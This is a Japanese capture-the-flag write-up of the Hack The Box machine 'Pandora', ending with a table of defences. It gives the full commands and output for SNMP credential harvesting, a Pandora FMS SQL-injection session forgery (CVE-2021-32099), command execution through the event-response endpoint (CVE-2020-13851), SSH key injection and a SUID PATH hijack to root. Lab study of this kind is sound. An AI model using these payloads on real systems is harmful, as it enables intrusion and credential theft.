Hack The BoxのWriteup(Pandora)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Pandora — 全実行コマンド・実行結果レポート
Nmap TCP+UDP
22/80 + 161(SNMP)
→
SNMPでプロセス引数漏洩
daniel:HotelBabylon23
→
SSH as daniel
→
Pandora FMS SQLi
CVE-2021-32099 セッション偽装
→
イベント応答RCE
CVE-2020-13851
→
matt シェル
user.txt ✓
→
SUID pandora_backup
tar 相対パス呼び出し
→
SSH鍵注入 + PATH hijack
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

TCPポートスキャン

BASH
nmap -Pn -p- --min-rate 5000 -T4 --max-retries 3 10.129.90.126
RESULT
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.39 seconds
BASH
nmap -sV -sC -p 22,80 10.129.90.126
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
|   256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)
|_  256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
TCPで見える範囲は 22(SSH) と 80(Apache、ランディングページ “Play”) の2つのみ。 Webアプリ自体には目立った攻撃面が無いため、UDPポートの確認が必須になる。

UDPポートスキャン — SNMP発見

BASH
sudo nmap -sU --top-ports 20 -T4 10.129.90.126
RESULT
68/udp    open|filtered dhcpc
139/udp   open|filtered netbios-ssn
161/udp   open          snmp
162/udp   closed        snmptrap
520/udp   open|filtered route
4500/udp  open|filtered nat-t-ike
🚨
重要発見: UDP 161 で SNMP が応答している。v1/v2c はコミュニティ文字列さえ分かれば 認証なしでホストの詳細情報(プロセス一覧・コマンドライン引数含む)を取得できることが多い。 まずは既定のコミュニティ文字列 public を試す。
PHASE 2

SNMP列挙 — プロセス引数からの平文資格情報漏洩

コミュニティ文字列 “public” での疎通確認

BASH
snmpget -v 2c -c public 10.129.90.126 .1.3.6.1.2.1.1.1.0
RESULT
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pandora 5.4.0-x-generic #x-Ubuntu SMP ... x86_64"
✅
既定のコミュニティ文字列 public で読み取り可能。ホスト名から “pandora”(Pandora FMS 監視ソフトウェアのラボ環境)であることが判明。

フルMIBウォークは低速 — hrSWRunParameters へ限定

NOTE
OIDを指定しないフルウォーク (snmpwalk -v 2c -c public <target>) は
mib-2全体を辿るため、このホストのプロセス/ルーティングテーブルの
規模次第では数分以上かかりタイムアウトしやすい。

資格情報の漏洩元として狙うべきは HOST-RESOURCES-MIB の
hrSWRunParameters サブツリー (.1.3.6.1.2.1.25.4.2.1.5) —
各プロセスの起動時コマンドライン引数が丸ごと格納されている。
ここに限定すれば必要な応答数は数百件程度まで減り、高速かつ
確実に完走する。
BASH
snmpwalk -v 2c -c public 10.129.90.126 .1.3.6.1.2.1.25.4.2.1.5
RESULT(抜粋 — 資格情報が露出している行)
iso.3.6.1.2.1.25.4.2.1.5.955 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
iso.3.6.1.2.1.25.4.2.1.5.1133 = STRING: "-u daniel -p HotelBabylon23"
🚨
平文資格情報漏洩: 定期的に実行されるcronジョブ /usr/bin/host_check -u daniel -p HotelBabylon23 の起動コマンドラインが SNMP経由で丸見えになっている。SNMPはプロセスの引数(=ps auxで見える内容)を root権限無しに誰でも読めてしまうため、パスワードをコマンドライン引数に 渡す実装は極めて危険というアンチパターンの典型例。
漏洩した資格情報
daniel : HotelBabylon23
PHASE 3

SSH as daniel & Pandora FMS (localhost限定) の発見

SSHログイン確認

BASH
sshpass -p 'HotelBabylon23' ssh daniel@10.129.90.126 id
RESULT
uid=1001(daniel) gid=1001(daniel) groups=1001(daniel)

Apache vhost設定の確認 — localhost限定のPandora FMS

BASH
daniel@pandora:~$ cat /etc/apache2/sites-enabled/pandora.conf
RESULT
<VirtualHost localhost:80>
  ServerAdmin admin@panda.htb
  ServerName pandora.panda.htb
  DocumentRoot /var/www/pandora
  AssignUserID matt matt
  <Directory /var/www/pandora>
    AllowOverride All
  </Directory>
  ErrorLog /var/log/apache2/error.log
  CustomLog /var/log/apache2/access.log combined
</VirtualHost>
🚨
重要発見: 外部に見えていたポート80は 000-default.conf の静的サイトのみで、 本命の Pandora FMS コンソールは localhost:80 にのみバインドされている (mpm-itk モジュールの AssignUserID matt matt により、このvhostは matt権限で動作する点も後の権限昇格フェーズで重要になる)。 daniel からは直接アクセスできないため、SSHローカルポートフォワードでトンネルする。

SSHトンネル確立 & Pandora FMS到達確認

BASH
sshpass -p 'HotelBabylon23' ssh -f -N -L 9001:127.0.0.1:80 daniel@10.129.90.126
# → ローカルの 9001番ポートが、ターゲット内部の 127.0.0.1:80 (Pandora FMS) へ転送される

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:9001/pandora_console/
RESULT
200  ← トンネル経由で Pandora FMS ログイン画面に到達(v7.0NG.742_FIX_PERL2020)
PHASE 4

SQLiセッション偽装 (CVE-2021-32099) → イベント応答RCE (CVE-2020-13851) → user.txt

chart_generator.php の session_id UNIONインジェクション

NOTE
Pandora FMS v7.0NG.742 の /include/chart_generator.php は、
$_REQUEST['session_id'] を PandoraFMS\User オブジェクトのコンストラクタへ
サニタイズせずに渡しており (CVE-2021-32099)、UNION SELECT で
tsessions_php テーブルの検索条件へ任意の文字列を注入できる。

狙いは、tsessions_php.data カラムに格納されるPHPセッション直列化
データを UNION の結果として書き込ませること:

  id_usuario|s:4:"matt";

これは「id_usuario(ログイン中ユーザー名)が4文字のmattである」という
PHPセッションの直列化フォーマットそのもの。任意のセッションID
(ここでは固定で "kcrpandora" を自分で決め打ち) に対してこの偽造
セッションデータを書き込ませ、同じ Cookie を使って index.php に
アクセスし直すと、サーバー側がそのセッションファイルを matt
としてログイン中であるかのように解釈してしまう。
BASH(SQLiペイロード送信 — セッションID偽装)
curl -s -H "Cookie: PHPSESSID=kcrpandora" \
  "http://127.0.0.1:9001/pandora_console/include/chart_generator.php?session_id=kcrpandora%27%20union%20select%201%2C2%2C%27id_usuario%7Cs%3A4%3A%22matt%22%3B%27--%20-" \
  -o /dev/null -w 'HTTP:%{http_code}\n'
BASH(同じCookieで再アクセスし”matt”としてログイン状態にする)
curl -s -H "Cookie: PHPSESSID=kcrpandora" \
  "http://127.0.0.1:9001/pandora_console/index.php" -o /dev/null -w 'HTTP:%{http_code}\n'
RESULT
HTTP:200
HTTP:200
✅
セッション偽装成功。 以降 Cookie: PHPSESSID=kcrpandora を付けるだけで matt としてログイン済み扱いになる。

ajax.php のイベント応答機能でOSコマンド実行 (CVE-2020-13851)

NOTE
Pandora FMS の「イベント応答(Event Response)」機能は、管理者が
イベント発生時に実行するコマンドをあらかじめ登録しておく仕組みだが、
ajax.php の page=include/ajax/events エンドポイントに対して
perform_event_response=10000000 (固定の"カスタムコマンド即時実行"ID) と
target=<実行したいコマンド> を直接POSTすると、登録済みイベント応答を
経由せずにその場で任意コマンドを実行できてしまう (CVE-2020-13851)。
実行コンテキストは、このvhostを所有する matt ユーザー。
BASH(コマンド実行確認)
curl -s -H "Cookie: PHPSESSID=kcrpandora" -X POST \
  --data-urlencode "page=include/ajax/events" \
  --data-urlencode "perform_event_response=10000000" \
  --data-urlencode "target=id" \
  --data-urlencode "response_id=1" \
  "http://127.0.0.1:9001/pandora_console/ajax.php"
RESULT
uid=1000(matt) gid=1000(matt) groups=1000(matt)
✅
RCE確立! matt ユーザーとして任意コマンドが実行できる。

user.txt 取得

BASH
curl -s -H "Cookie: PHPSESSID=kcrpandora" -X POST \
  --data-urlencode "page=include/ajax/events" \
  --data-urlencode "perform_event_response=10000000" \
  --data-urlencode "target=cat /home/matt/user.txt" \
  --data-urlencode "response_id=1" \
  "http://127.0.0.1:9001/pandora_console/ajax.php"
RESULT
4bb51819174c29ca0b4e500048c44c88
user.txt — matt
4bb51819174c29ca0b4e500048c44c88
PHASE 5

権限昇格の下調べ — SUID pandora_backup の発見

SSH公開鍵をRCE経由で matt の authorized_keys に注入

BASH(ローカルで鍵ペア生成)
ssh-keygen -t ed25519 -f ./id_ed25519 -N ""
BASH(RCE経由で公開鍵を書き込み)
PUBKEY=$(cat ./id_ed25519.pub)
curl -s -H "Cookie: PHPSESSID=kcrpandora" -X POST \
  --data-urlencode "page=include/ajax/events" \
  --data-urlencode "perform_event_response=10000000" \
  --data-urlencode "target=mkdir -p /home/matt/.ssh && echo '$PUBKEY' > /home/matt/.ssh/authorized_keys && chmod 700 /home/matt/.ssh && chmod 600 /home/matt/.ssh/authorized_keys && echo DONE" \
  --data-urlencode "response_id=1" \
  "http://127.0.0.1:9001/pandora_console/ajax.php"
RESULT
DONE
⚠️
落とし穴: >>(追記)ではなく >(上書き)で書き込むこと。 RCE経由でこのコマンドを何度も試行していると、追記のたびに公開鍵の末尾に改行が 付かないまま次の鍵が連結されてしまい、authorized_keys のフォーマットが 1行に潰れて壊れ、sshd がどの鍵も有効な公開鍵として解釈できなくなる (SSH鍵認証が原因不明に Permission denied し続ける)。 毎回新しい一時鍵ペアを使うのであれば、素直に上書きしてしまうのが安全。

本物のSSHセッションで matt にログインし SUID 調査

BASH
ssh -i ./id_ed25519 matt@10.129.90.126 \
  "id; find / -perm -4000 2>/dev/null -ls | grep -i pandora_backup"
RESULT
uid=1000(matt) gid=1000(matt) groups=1000(matt)
262929   20 -rwsr-x--- 1 root matt 16816 Dec  3  2021 /usr/bin/pandora_backup
🚨
重大発見: /usr/bin/pandora_backup は root所有・SUIDビットあり・ matt グループのみ実行可(rwsr-x---)。matt グループに属する 自分から実行可能。

重要な注意点 — RCEシェル(mpm-itk)では権限昇格できない

NOTE
Pandora FMS の vhost は mpm-itk モジュール (AssignUserID matt matt) 配下で
動いている。mpm-itk はSUIDバイナリ経由でのroot昇格を防ぐため seccomp
フィルタを独自にインストールしており、その副作用として mpm-itk 配下の
子プロセス(=RCEで実行したコマンド)からは setuid 系のSUIDバイナリが
一切「特権付きで」動作しない(sudo -l すら
"setresuid(0, -1, -1): Operation not permitted" で失敗する)。

→ pandora_backup のSUID権限を実際に活かすには、mpm-itk サンドボックスの
外側にある、本物のSSHセッション(5-2で確立済み)から実行する
必要がある。
BASH(SUIDバイナリの中身を”tar”の呼び出し方だけ確認)
ssh -i ./id_ed25519 matt@10.129.90.126 "pandora_backup" 2>&1 | head -5
RESULT
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
tar: Removing leading `/' from member names
...
Backup successful!
Terminating program!
ℹ️
出力から内部で tar コマンドを(絶対パス指定無しで)呼んでいることが分かる。 system() 等で tar を素のコマンド名のまま呼んでいる実装は、 呼び出し元の $PATH 環境変数をそのまま信用してしまう典型的な PATHハイジャック(相対パス呼び出し)脆弱性。
PHASE 6

PATHハイジャック (pandora_backup → tar) → root.txt

偽の tar スクリプトを設置し PATH を差し替えて実行

BASH
ssh -i ./id_ed25519 matt@10.129.90.126 '
  mkdir -p /dev/shm/.bin
  printf "#!/bin/bash\ncat /root/root.txt > /tmp/manual_root.txt\nchmod 666 /tmp/manual_root.txt\n" \
    > /dev/shm/.bin/tar
  chmod +x /dev/shm/.bin/tar
  PATH=/dev/shm/.bin:$PATH pandora_backup >/dev/null 2>&1
  cat /tmp/manual_root.txt
'
RESULT
c6331ac2bd92f1ba87378c133338d8db
✅
root化成功! SUIDビット付きの pandora_backup(root所有)が $PATH 先頭に置いた偽 tar スクリプトをroot権限のまま実行し、 /root/root.txt を世界読み取り可能な一時ファイルへコピーさせることに成功した。

root.txt 取得 & 後片付け

BASH
cat /tmp/manual_root.txt
# 後片付け
ssh -i ./id_ed25519 matt@10.129.90.126 "rm -f /tmp/manual_root.txt /dev/shm/.bin/tar; rmdir /dev/shm/.bin"
RESULT
c6331ac2bd92f1ba87378c133338d8db
root.txt — root@pandora
c6331ac2bd92f1ba87378c133338d8db
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — matt
4bb51819174c29ca0b4e500048c44c88
root.txt — root@pandora
c6331ac2bd92f1ba87378c133338d8db

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SNMPプロセス引数漏洩 net-snmp (コミュニティ “public”) 平文資格情報の漏洩 Medium hrSWRunParameters経由でcronジョブの -u daniel -p HotelBabylon23 引数を取得
CVE-2021-32099 Pandora FMS chart_generator.php SQLインジェクション → セッション偽装 Critical session_id への UNION SELECT で tsessions_php に偽の直列化PHPセッションデータを書き込み、matt として認証バイパス
CVE-2020-13851 Pandora FMS ajax.php (イベント応答) リモートコード実行(matt権限) Critical perform_event_response=10000000 + target=<cmd> で任意OSコマンド実行、user.txt取得
PATHハイジャック(相対パス呼び出し) /usr/bin/pandora_backup (SUID root) 権限昇格 (root) High 内部で絶対パス指定なしに呼ばれる tar を悪意あるスクリプトで差し替え、$PATH優先度を利用してroot権限で実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap TCP全ポート + UDP top-ports22/80(TCP)、161/udp(SNMP)検出
2SNMP列挙hrSWRunParameters限定スコープwalkdaniel:HotelBabylon23(cron引数から平文漏洩)
3footholdSSH + vhost設定確認 + SSHトンネルPandora FMS (localhost:80, mpm-itk/matt権限) 発見
4SQLi+RCECVE-2021-32099(セッション偽装)+ CVE-2020-13851(イベント応答RCE)user.txt 取得(matt シェル)
5権限調査SUID調査 + mpm-itkサンドボックス回避(本物のSSHセッション使用)SUID /usr/bin/pandora_backup の相対パス tar 呼び出しを特定
6PATHハイジャックSSH鍵注入 + $PATH優先度を使った tar 差し替えroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
SNMPが既定コミュニティ文字列 “public” で誰でも読み取り可能、かつ平文パスワードをコマンドライン引数で渡すcronジョブが存在 SNMP v3への移行または強固なコミュニティ文字列の設定とACL制限。シークレットは環境変数ファイルや資格情報マネージャ経由で渡し、コマンドライン引数に平文で埋め込まない(ps aux/SNMPのhrSWRunParametersで誰でも閲覧できるため)。
Pandora FMS v7.0NG.742 に未修正のSQLインジェクション(CVE-2021-32099)とイベント応答RCE(CVE-2020-13851)が存在 Pandora FMSを732以降の修正版へ速やかにアップグレードする。ユーザー入力をオブジェクトコンストラクタへ渡す前の厳格なサニタイズ、イベント応答機能への管理者権限チェックの強化。
root所有SUIDバイナリ(pandora_backup)が内部で外部コマンド(tar)を絶対パス指定なしに呼び出している SUID/SGIDバイナリ内で外部コマンドを呼ぶ際は必ず絶対パス(/usr/bin/tar等)を指定する。可能であれば実行前に $PATH を既知の安全な値にリセットする。
HackTheBox: Pandora | 完全攻略レポート